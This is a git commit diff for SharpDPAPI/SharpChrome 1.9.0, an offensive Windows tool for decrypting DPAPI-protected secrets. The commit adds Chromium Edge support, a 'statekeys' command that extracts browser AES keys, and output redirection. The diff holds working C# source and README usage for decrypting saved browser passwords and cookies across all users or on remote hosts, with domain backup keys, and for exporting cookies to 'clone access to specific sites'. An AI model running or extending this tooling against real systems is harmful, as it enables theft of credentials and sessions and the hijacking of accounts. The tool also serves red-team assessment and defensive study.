Version 1.9.0

Added Chromium-based Edge support for SharpChrome
Added /consoleoutfile support for SharpDPAPI/SharpChrome
Added "statekeys" command to SharpChrome
Fixed SharpChrome cookie bug for expires times of 0
This commit is contained in:
harmj0y committed 2020-09-02 14:14:09 -07:00
1 parent f47dacdcb3
commit 5964eebc3e
15 files changed
+649 -125

No files matched your search

+15
View File
@@ -5,6 +5,21 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [1.9.0] - 2020-09-02
### Added
* **SharpChrome** project
* Added the ability to target Chromium-based Edge instances for `cookies` and `logins` with `/browser:edge`
* Added the `statekeys` command to triage reachable Chromiun AES state keys.
* Added the ability to supply `/statekey:X` to `cookies` and `logins` commands.
### Fixed
* **SharpChrome** project
* Cookie expires filtering for 0 values.
* the **/consoleoutfile** argument to redirect console output to a file, and the public `MainString("command")` function to work over PSRemoting (see end of README.md)
## [1.8.0] - 2020-07-13
### Added
+60 -23
View File
@@ -8,6 +8,8 @@
The [SharpChrome](#sharpchrome) subproject is an adaptation of work from [@gentilkiwi](https://twitter.com/gentilkiwi) and [@djhohnstein](https://twitter.com/djhohnstein), specifically his [SharpChrome project](https://github.com/djhohnstein/SharpChrome/). However, this version of SharpChrome uses a different version of the [C# SQL library](https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp) that supports [lockless opening](https://github.com/gentilkiwi/mimikatz/pull/199). SharpChrome is built as a separate project in SharpDPAPI because of the size of the SQLite library utilized.
Both Chrome and newer Chromium-based Edge browsers can be triaged with SharpChrome.
SharpChrome also uses an minimized version of @AArnott's [BCrypt P/Invoke code](https://github.com/AArnott/pinvoke/tree/master/src/BCrypt) released under the MIT License.
If you're unfamiliar with DPAPI, [check out this post](https://www.harmj0y.net/blog/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/) for more background information. For more information on Credentials and Vaults in regards to DPAPI, check out Benjamin's [wiki entry on the subject.](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials)
@@ -49,6 +51,7 @@ SharpDPAPI is licensed under the BSD 3-Clause license.
* [SharpChrome Commands](#sharpchrome-commands)
+ [logins](#logins)
+ [cookies](#cookies)
+ [statekeys](#statekeys)
+ [backupkey](#backupkey-1)
* [Compile Instructions](#compile-instructions)
+ [Targeting other .NET versions](#targeting-other-net-versions)
@@ -63,7 +66,7 @@ SharpDPAPI is licensed under the BSD 3-Clause license.
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.7.0
v1.9.0
@@ -72,12 +75,20 @@ SharpDPAPI is licensed under the BSD 3-Clause license.
SharpDPAPI backupkey [/server:SERVER.domain] [/file:key.pvk]
The *search* comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs:
search /type:registry [/path:HKLM\path\to\key] [/showErrors]
search /type:folder /path:C:\path\to\folder [/maxBytes:<numOfBytes>] [/showErrors]
search /type:file /path:C:\path\to\file [/maxBytes:<numOfBytes>]
search /type:base64 [/base:<base64 string>]
Machine/SYSTEM Triage:
machinemasterkeys - triage all reachable machine masterkey files (elevates to SYSTEM to retrieve the DPAPI_SYSTEM LSA secret)
machinecredentials - use 'machinemasterkeys' and then triage machine Credential files
machinevaults - use 'machinemasterkeys' and then triage machine Vaults
machinecerts - use 'machinemasterkeys' and then triage machine certificate stores
machinecerts - use 'machinemasterkeys' and then triage machine certificate stores
machinetriage - run the 'machinecredentials' and 'machinevaults' commands
@@ -109,14 +120,13 @@ SharpDPAPI is licensed under the BSD 3-Clause license.
These functions wrap all the other applicable functions that can be automatically run.
#### SharpChrome Command Line Usage
__ _
(_ |_ _. ._ ._ / |_ ._ _ ._ _ _
__) | | (_| | |_) \_ | | | (_) | | | (/_
|
v1.6.1
v1.9.0
Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and output file:
@@ -124,29 +134,32 @@ SharpDPAPI is licensed under the BSD 3-Clause license.
SharpChrome backupkey [/server:SERVER.domain] [/file:key.pvk]
Global arguments for the 'cookies' and 'logins' commands:
Global arguments for the 'cookies', 'logins', and 'statekeys' commands:
Decryption:
/unprotect - force use of CryptUnprotectData() (default for unprivileged execution)
/password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely.
GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
/unprotect - force use of CryptUnprotectData() (default for unprivileged execution)
/password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely.
GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
/statekey:X - a decrypted AES state key (from the 'statekeys' command)
Targeting:
/target:FILE - triage a specific 'Cookies' or 'Login Data' file location
/server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY)
/target:FILE - triage a specific 'Cookies', 'Login Data', or 'Local State' file location
/server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY)
/browser:X - triage 'chrome' (the default) or (chromium-based) 'edge'
Output:
/format:X - either 'csv' (default) or 'table' display
/showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default)
/format:X - either 'csv' (default) or 'table' display
/showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default)
/consoleoutfile:X - output all console output to a file on disk
'cookies' command specific arguments:
/cookie:"REGEX" - only return cookies where the cookie name matches the supplied regex
/url:"REGEX" - only return cookies where the cookie URL matches the supplied regex
/cookie:"REGEX" - only return cookies where the cookie name matches the supplied regex
/url:"REGEX" - only return cookies where the cookie URL matches the supplied regex
/format:json - output cookie values in an EditThisCookie JSON import format. Best when used with a regex!
/setneverexpire - set expirations for cookies output to now + 100 years (for json output)
@@ -175,7 +188,7 @@ SharpChrome is a Chrome-specific implementation of SharpDPAPI capable of **cooki
Since Chrome Cookies/Login Data are saved without CRYPTPROTECT_SYSTEM, CryptUnprotectData() is back on the table. If SharpChrome is run from an unelevated contect, it will attempt to decrypt any logins/cookies for the current user using CryptUnprotectData(). A `/pvk:[BASE64|file.pvk]`, {GUID}:SHA1 lookup table, `/password:X`, or `/mkfile:FILE` of {GUID}:SHA1 values can also be used to decrypt values. Also, the [C# SQL library](https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp) used (with a few modifications) supports [lockless opening](https://github.com/gentilkiwi/mimikatz/pull/199), meaning that Chrome does not have to be closed/target files do not have to be copied to another location.
If Chrome is version 80+, an AES state key is stored in *AppData\Local\Google\Chrome\User Data\Local State* - this key is protected with DPAPI, so we can use CryptUnprotectData()/pvk/masterkey lookup tables to decrypt it. This AES key is then used to protect new cookie and login data entries.
If Chrome is version 80+, an AES state key is stored in *AppData\Local\Google\Chrome\User Data\Local State* - this key is protected with DPAPI, so we can use CryptUnprotectData()/pvk/masterkey lookup tables to decrypt it. This AES key is then used to protect new cookie and login data entries. This is also the process when `/browser:edge` is specified, for newer Chromium-based Edge browser triage.
By default, cookies and logins are displayed as a csv - this can be changed with `/format:table` for table output, and `/format:json` for cookies specifically. The json option outputs cookies in a json format that can be imported into the [EditThisCookie](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en) Chrome extension for easy reuse.
@@ -1177,11 +1190,11 @@ When searching a base64 blob, specify the base64-encoded bytes to scan with the
### logins
The **logins** command will search for Chrome 'Login Data' files and decrypt the saved login passwords. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values.
The **logins** command will search for Chrome 'Login Data' files and decrypt the saved login passwords. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. If `/browser:edge` is specified, the newer Chromium-based Edge browser is triaged.
Login Data files can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.
A specific Login Data file can be specified with `/target:FILE`. A remote `/server:SERVER` can be specified if a `/pvk` is also supplied.
A specific Login Data file can be specified with `/target:FILE`. A remote `/server:SERVER` can be specified if a `/pvk` is also supplied. If triaging newer Chrome/Edge instances, a `/statekey:X` AES state key can be specified.
By default, logins are displayed in a csv format. This can be modified with `/format:table` for table output. Also, by default only non-null password value entries are displayed, but all values can be displayed with `/showall`.
@@ -1189,11 +1202,11 @@ If run from an elevated context, Login Data files for ALL users will be triaged,
### cookies
The **cookies** command will search for Chrome 'Cookies' files and decrypt cookie values. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values.
The **cookies** command will search for Chrome 'Cookies' files and decrypt cookie values. If execution is in an unelevated contect, CryptProtectData() will automatically be used to try to decrypt values. If `/browser:edge` is specified, the newer Chromium-based Edge browser is triaged.
Cookie files can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.
A specific Cookies file can be specified with `/target:FILE`. A remote `/server:SERVER` can be specified if a `/pvk` is also supplied.
A specific Cookies file can be specified with `/target:FILE`. A remote `/server:SERVER` can be specified if a `/pvk` is also supplied. If triaging newer Chrome/Edge instances, a `/statekey:X` AES state key can be specified.
By default, cookies are displayed in a csv format. This can be modified with `/format:table` for table output, or `/format:json` for output importable by [EditThisCookie](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en). Also, by default only non-expired cookie value entries are displayed, but all values can be displayed with `/showall`.
@@ -1201,6 +1214,14 @@ If run from an elevated context, Cookie files for ALL users will be triaged, oth
The **cookies** command also has `/cookie:REGEX` and `/url:REGEX` arguments to only return cookie names or urls matching the supplied regex. This is useful with `/format:json` to easily clone access to specific sites.
### statekeys
The **statekeys** command will search for Chrome/Edge AES statekey files (i.e. 'AppData\Local\Google\Chrome\User Data\Local State' and 'AppData\Local\Microsoft\Edge\User Data\Local State') and decrypts them using the same type of arguments that can be supplied for `cookies` and `logins`.
State keys can also be decrypted with a) any "{GUID}:SHA1 {GUID}:SHA1 ..." masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys, or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.
If run from an elevated context, state keys for ALL users will be triaged, otherwise only state keys for the current user will be processed.
### backupkey
The **backupkey** command will retrieve the domain DPAPI backup key from a domain controller using the **LsaRetrievePrivateData** API approach [from Mimikatz](https://github.com/gentilkiwi/mimikatz/blob/2fd09bbef0754317cd97c01dbbf49698ae23d9d2/mimikatz/modules/kuhl_m_lsadump.c#L1882-L1927). This private key can then be used to decrypt master key blobs for any user on the domain. And even better, the key never changes ;)
@@ -1211,11 +1232,12 @@ This base64 key blob can be decoded to a binary .pvk file that can then be used
By default, SharpDPAPI will try to determine the current domain controller via the **DsGetDcName** API call. A server can be specified with `/server:COMPUTER.domain.com`. If you want the key saved to disk instead of output as a base64 blob, use `/file:key.pvk`.
## Compile Instructions
We are not planning on releasing binaries for SharpDPAPI, so you will have to compile yourself :)
SharpDPAPI has been built against .NET 3.5 and is compatible with [Visual Studio 2015 Community Edition](https://go.microsoft.com/fwlink/?LinkId=532606&clcid=0x409). Simply open up the project .sln, choose "Release", and build.
SharpDPAPI has been built against .NET 3.5 and is compatible with [Visual Studio 2019 Community Edition](https://visualstudio.microsoft.com/vs/community/). Simply open up the project .sln, choose "Release", and build.
### Targeting other .NET versions
@@ -1234,3 +1256,18 @@ SharpDPAPI can then be loaded in a PowerShell script with the following (where "
The Main() method and any arguments can then be invoked as follows:
[SharpDPAPI.Program]::Main("machinemasterkeys")
#### Sidenote Sidenote: Running SharpDPAPI Over PSRemoting
Due to the way PSRemoting handles output, we need to redirect stdout to a string and return that instead. Luckily, SharpDPAPI has a function to help with that.
If you follow the instructions in [Sidenote: Running SharpDPAPI Through PowerShell](#sidenote-running-sharpdpapi-through-powershell) to create a SharpDPAPI.ps1, append something like the following to the script:
[SharpDPAPI.Program]::MainString("machinemasterkeys")
You should then be able to run SharpDPAPI over PSRemoting with something like the following:
$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\SharpDPAPI.ps1
Alternatively, SharpDPAPI `/consoleoutfile:C:\FILE.txt` argument will redirect all output streams to the specified file.
+25 -4
View File
@@ -10,7 +10,6 @@ namespace SharpChrome.Commands
public void Execute(Dictionary<string, string> arguments)
{
Console.WriteLine("\r\n[*] Action: Chrome Cookies Triage\r\n");
arguments.Remove("cookies");
string displayFormat = "csv"; // "csv", "table", or "json" display
@@ -20,6 +19,15 @@ namespace SharpChrome.Commands
bool setneverexpire = false; // set cookie output expiration dates to now + 100 years
string cookieRegex = ""; // regex to search for specific cookie names
string urlRegex = ""; // regex to search for specific URLs for cookies
string stateKey = ""; // decrypted AES statekey to use for cookie decryption
string browser = "chrome"; // alternate Chromiun browser to specify, currently only "edge" is supported
if (arguments.ContainsKey("/browser"))
{
browser = arguments["/browser"].ToLower();
}
Console.WriteLine("\r\n[*] Action: {0} Saved Cookies Triage\r\n", SharpDPAPI.Helpers.Capitalize(browser));
if (arguments.ContainsKey("/format"))
{
@@ -51,7 +59,13 @@ namespace SharpChrome.Commands
showAll = true;
}
if(showAll)
if (arguments.ContainsKey("/statekey"))
{
stateKey = arguments["/statekey"];
Console.WriteLine("[*] Using AES State Key: {0}]\r\n", stateKey);
}
if (showAll)
{
Console.WriteLine("[*] Triaging all cookies, including expired ones.");
}
@@ -101,11 +115,17 @@ namespace SharpChrome.Commands
if (arguments.ContainsKey("/target"))
{
string target = arguments["/target"].Trim('"').Trim('\'');
byte[] stateKeyBytes = null;
if (!String.IsNullOrEmpty(stateKey))
{
stateKeyBytes = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey);
}
if (File.Exists(target))
{
Console.WriteLine("[*] Target 'Cookies' File: {0}\r\n", target);
Chrome.ParseChromeCookies(masterkeys, target, displayFormat, showAll, unprotect, cookieRegex, urlRegex);
Chrome.ParseChromeCookies(masterkeys, target, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, stateKeyBytes);
}
else
{
@@ -120,7 +140,8 @@ namespace SharpChrome.Commands
}
else
{
Chrome.TriageChromeCookies(masterkeys, server, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire);
// last "true" -> indicates we want to triage Edge
Chrome.TriageChromeCookies(masterkeys, server, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, stateKey, browser);
}
}
}
+23 -3
View File
@@ -10,13 +10,21 @@ namespace SharpChrome.Commands
public void Execute(Dictionary<string, string> arguments)
{
Console.WriteLine("\r\n[*] Action: Chrome Saved Logins Triage\r\n");
arguments.Remove("logins");
string displayFormat = "csv"; // "csv" or "table" display
string server = ""; // used for remote server specification
bool showAll = false; // whether to display entries with null passwords
bool unprotect = false; // whether to force CryptUnprotectData()
string stateKey = ""; // decrypted AES statekey to use for cookie decryption
string browser = "chrome"; // alternate Chromiun browser to specify, currently only "edge" is supported
if (arguments.ContainsKey("/browser"))
{
browser = arguments["/browser"].ToLower();
}
Console.WriteLine("\r\n[*] Action: {0} Saved Logins Triage\r\n", SharpDPAPI.Helpers.Capitalize(browser));
if (arguments.ContainsKey("/format"))
{
@@ -33,6 +41,12 @@ namespace SharpChrome.Commands
showAll = true;
}
if (arguments.ContainsKey("/statekey"))
{
stateKey = arguments["/statekey"];
Console.WriteLine("[*] Using AES State Key: {0}]\r\n", stateKey);
}
if (arguments.ContainsKey("/server"))
{
server = arguments["/server"];
@@ -74,11 +88,17 @@ namespace SharpChrome.Commands
if (arguments.ContainsKey("/target"))
{
string target = arguments["/target"].Trim('"').Trim('\'');
byte[] stateKeyBytes = null;
if (!String.IsNullOrEmpty(stateKey))
{
stateKeyBytes = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey);
}
if (File.Exists(target))
{
Console.WriteLine("[*] Target 'Login Data' File: {0}\r\n", target);
Chrome.ParseChromeLogins(masterkeys, target, displayFormat, showAll, unprotect);
Chrome.ParseChromeLogins(masterkeys, target, displayFormat, showAll, unprotect, stateKeyBytes);
}
else
{
@@ -93,7 +113,7 @@ namespace SharpChrome.Commands
}
else
{
Chrome.TriageChromeLogins(masterkeys, server, displayFormat, showAll, unprotect);
Chrome.TriageChromeLogins(masterkeys, server, displayFormat, showAll, unprotect, stateKey, browser);
}
}
}
+88
View File
@@ -0,0 +1,88 @@
using System;
using System.Collections.Generic;
using System.IO;
namespace SharpChrome.Commands
{
public class Statekeys : ICommand
{
public static string CommandName => "statekeys";
public void Execute(Dictionary<string, string> arguments)
{
Console.WriteLine("\r\n[*] Action: Chromium Statekey Extraction\r\n");
arguments.Remove("cookies");
string server = ""; // used for remote server specification
bool unprotect = false; // whether to force CryptUnprotectData()
if (arguments.ContainsKey("/unprotect"))
{
unprotect = true;
}
if (arguments.ContainsKey("/server"))
{
server = arguments["/server"];
Console.WriteLine("[*] Triaging remote server: {0}\r\n", server);
}
// {GUID}:SHA1 keys are the only ones that don't start with /
Dictionary<string, string> masterkeys = new Dictionary<string, string>();
foreach (KeyValuePair<string, string> entry in arguments)
{
if (!entry.Key.StartsWith("/"))
{
masterkeys.Add(entry.Key, entry.Value);
}
}
if (arguments.ContainsKey("/pvk"))
{
// use a domain DPAPI backup key to triage masterkeys
masterkeys = SharpDPAPI.Dpapi.PVKTriage(arguments);
}
else if (arguments.ContainsKey("/mkfile"))
{
masterkeys = SharpDPAPI.Helpers.ParseMasterKeyFile(arguments["/mkfile"]);
}
else if (arguments.ContainsKey("/password"))
{
string password = arguments["/password"];
Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password);
if (arguments.ContainsKey("/server"))
{
masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, arguments["/server"], password);
}
else
{
masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, "", password);
}
}
if (arguments.ContainsKey("/target"))
{
string target = arguments["/target"].Trim('"').Trim('\'');
if (File.Exists(target))
{
Chrome.TriageStateKeys(masterkeys, server, unprotect, target);
}
else
{
Console.WriteLine("\r\n[X] '{0}' is not a valid file.", target);
}
}
else
{
if (arguments.ContainsKey("/server") && !arguments.ContainsKey("/pvk") && !arguments.ContainsKey("/password"))
{
Console.WriteLine("[X] The '/server:X' argument must be used with '/pvk:BASE64...' or '/password:X' !");
}
else
{
Chrome.TriageStateKeys(masterkeys, server, unprotect);
}
}
}
}
}
+1
View File
@@ -20,6 +20,7 @@ namespace SharpChrome.Domain
_availableCommands.Add(Backupkey.CommandName, () => new Backupkey());
_availableCommands.Add(Logins.CommandName, () => new Logins());
_availableCommands.Add(Cookies.CommandName, () => new Cookies());
_availableCommands.Add(Statekeys.CommandName, () => new Statekeys());
}
public bool ExecuteCommand(string commandName, Dictionary<string, string> arguments)
+17 -14
View File
@@ -4,7 +4,7 @@ namespace SharpChrome.Domain
{
public static class Info
{
public static void Logo()
public static void ShowLogo()
{
Console.WriteLine("\r\n __ _ ");
Console.WriteLine(" (_ |_ _. ._ ._ / |_ ._ _ ._ _ _ ");
@@ -21,29 +21,32 @@ Retrieve a domain controller's DPAPI backup key, optionally specifying a DC and
SharpChrome backupkey [/server:SERVER.domain] [/file:key.pvk]
Global arguments for the 'cookies' and 'logins' commands:
Global arguments for the 'cookies', 'logins', and 'statekeys' commands:
Decryption:
/unprotect - force use of CryptUnprotectData() (default for unprivileged execution)
/password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely.
GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
/unprotect - force use of CryptUnprotectData() (default for unprivileged execution)
/password:X - first decrypt the current user's masterkeys using a plaintext password. Works with any function, as well as remotely.
GUID1:SHA1 ... - use a one or more GUID:SHA1 masterkeys for decryption
/mkfile:FILE - use a file of one or more GUID:SHA1 masterkeys for decryption
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
/pvk:key.pvk - use a DPAPI domain private key file to first decrypt reachable user masterkeys
/statekey:X - a decrypted AES state key (from the 'statekey' command)
Targeting:
/target:FILE - triage a specific 'Cookies' or 'Login Data' file location
/server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY)
/target:FILE - triage a specific 'Cookies', 'Login Data', or 'Local State' file location
/server:SERVER - triage a remote server, assuming admin access (note: must use with /pvk:KEY)
/browser:X - triage 'chrome' (the default) or (chromium-based) 'edge'
Output:
/format:X - either 'csv' (default) or 'table' display
/showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default)
/format:X - either 'csv' (default) or 'table' display
/showall - show Login Data entries with null passwords and expired Cookies instead of filtering (default)
/consoleoutfile:X - output all console output to a file on disk
'cookies' command specific arguments:
/cookie:""REGEX"" - only return cookies where the cookie name matches the supplied regex
/url:""REGEX"" - only return cookies where the cookie URL matches the supplied regex
/cookie:""REGEX"" - only return cookies where the cookie name matches the supplied regex
/url:""REGEX"" - only return cookies where the cookie URL matches the supplied regex
/format:json - output cookie values in an EditThisCookie JSON import format. Best when used with a regex!
/setneverexpire - set expirations for cookies output to now + 100 years (for json output)
+103 -12
View File
@@ -2,32 +2,123 @@
using System;
using System.Collections.Generic;
using SQLite;
using System.IO;
using System.Diagnostics;
namespace SharpChrome
{
class Program
{
private static void FileExecute(string commandName, Dictionary<string, string> parsedArgs)
{
// execute w/ stdout/err redirected to a file
string file = parsedArgs["/consoleoutfile"];
TextWriter realStdOut = Console.Out;
TextWriter realStdErr = Console.Error;
using (StreamWriter writer = new StreamWriter(file, true))
{
writer.AutoFlush = true;
Console.SetOut(writer);
Console.SetError(writer);
MainExecute(commandName, parsedArgs);
Console.Out.Flush();
Console.Error.Flush();
}
Console.SetOut(realStdOut);
Console.SetError(realStdErr);
}
private static void MainExecute(string commandName, Dictionary<string, string> parsedArgs)
{
// main execution logic
Stopwatch sw = new Stopwatch();
sw.Start();
Info.ShowLogo();
try
{
var commandFound = new CommandCollection().ExecuteCommand(commandName, parsedArgs);
// show the usage if no commands were found for the command name
if (commandFound == false)
Info.ShowUsage();
}
catch (Exception e)
{
Console.WriteLine("\r\n[!] Unhandled SharpChrome exception:\r\n");
Console.WriteLine(e);
}
sw.Stop();
Console.WriteLine("\n\nSharpChrome completed in " + sw.Elapsed);
}
public static string MainString(string command)
{
// helper that executes an input string command and returns results as a string
// useful for PSRemoting execution
string[] args = command.Split();
var parsed = ArgumentParser.Parse(args);
if (parsed.ParsedOk == false)
{
Info.ShowLogo();
Info.ShowUsage();
return "Error parsing arguments: ${command}";
}
var commandName = args.Length != 0 ? args[0] : "";
TextWriter realStdOut = Console.Out;
TextWriter realStdErr = Console.Error;
TextWriter stdOutWriter = new StringWriter();
TextWriter stdErrWriter = new StringWriter();
Console.SetOut(stdOutWriter);
Console.SetError(stdErrWriter);
MainExecute(commandName, parsed.Arguments);
Console.Out.Flush();
Console.Error.Flush();
Console.SetOut(realStdOut);
Console.SetError(realStdErr);
string output = "";
output += stdOutWriter.ToString();
output += stdErrWriter.ToString();
return output;
}
static void Main(string[] args)
{
try
{
Info.Logo();
// try to parse the command line arguments, show usage on failure and then bail
var parsed = ArgumentParser.Parse(args);
if (parsed.ParsedOk == false)
{
Info.ShowLogo();
Info.ShowUsage();
return;
}
var commandName = args.Length != 0 ? args[0] : "";
if (parsed.Arguments.ContainsKey("/consoleoutfile"))
{
// redirect output to a file specified
FileExecute(commandName, parsed.Arguments);
}
else
{
// Try to execute the command using the arguments passed in
var commandName = args.Length != 0 ? args[0] : "";
var commandFound = new CommandCollection().ExecuteCommand(commandName, parsed.Arguments);
// show the usage if no commands were found for the command name
if (commandFound == false)
Info.ShowUsage();
MainExecute(commandName, parsed.Arguments);
}
}
catch (Exception e)
+1
View File
@@ -81,6 +81,7 @@
<Compile Include="Commands\Cookies.cs" />
<Compile Include="Commands\ICommand.cs" />
<Compile Include="Commands\Logins.cs" />
<Compile Include="Commands\Statekeys.cs" />
<Compile Include="Domain\ArgumentParser.cs" />
<Compile Include="Domain\ArgumentParserResult.cs" />
<Compile Include="Domain\CommandCollection.cs" />
+195 -49
View File
@@ -21,9 +21,15 @@ namespace SharpChrome
// approach adapted from @djhohnstein's https://github.com/djhohnstein/SharpChrome/ project
// but using this CSHARP-SQLITE version https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp
public static void TriageChromeLogins(Dictionary<string, string> MasterKeys, string computerName = "", string displayFormat = "table", bool showAll = false, bool unprotect = false)
public static void TriageChromeLogins(Dictionary<string, string> MasterKeys, string computerName = "", string displayFormat = "table", bool showAll = false, bool unprotect = false, string stateKey = "", string browser = "chrome")
{
// triage all Chrome 'Login Data' files we can reach
// triage all Edge/Chrome 'Login Data' files we can reach
byte[] aesStateKey = null;
if (!String.IsNullOrEmpty(stateKey))
{
aesStateKey = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey);
}
if (!String.IsNullOrEmpty(computerName))
{
@@ -37,7 +43,7 @@ namespace SharpChrome
if (SharpDPAPI.Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && SharpDPAPI.Helpers.TestRemote(computerName)))
{
Console.WriteLine("[*] Triaging Chrome Logins for ALL users\r\n");
Console.WriteLine("\r\n[*] Triaging {0} Logins for ALL users\r\n", SharpDPAPI.Helpers.Capitalize(browser));
string userFolder = "";
if (!String.IsNullOrEmpty(computerName))
@@ -55,46 +61,74 @@ namespace SharpChrome
{
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
{
string loginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", dir);
var aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dir);
var loginDataPath = "";
var aesStateKeyPath = "";
if (File.Exists(aesStateKeyPath))
if (browser.ToLower() == "chrome")
{
loginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", dir);
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dir);
}
else if (browser.ToLower() == "edge")
{
loginDataPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data", dir);
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", dir);
}
else
{
Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers.");
return;
}
if (File.Exists(aesStateKeyPath) && (aesStateKey == null))
{
// try to decrypt the new v80+ AES state file key, if it exists
byte[] aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect);
aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect);
}
ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, unprotect, aesStateKey);
}
else {
ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, unprotect, null);
}
ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, unprotect, aesStateKey);
}
}
}
else
{
// otherwise just triage the current user's credential folder
Console.WriteLine("[*] Triaging Chrome Logins for current user\r\n");
var loginDataPath = "";
var aesStateKeyPath = "";
string loginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", System.Environment.GetEnvironmentVariable("USERPROFILE"));
var aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE"));
if (File.Exists(aesStateKeyPath))
if (browser.ToLower() == "chrome")
{
// try to decrypt the new v80+ AES state file key, if it exists
byte[] aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true); // force /unprotect
ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, true, aesStateKey);
loginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", System.Environment.GetEnvironmentVariable("USERPROFILE"));
aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE"));
}
else if (browser.ToLower() == "edge")
{
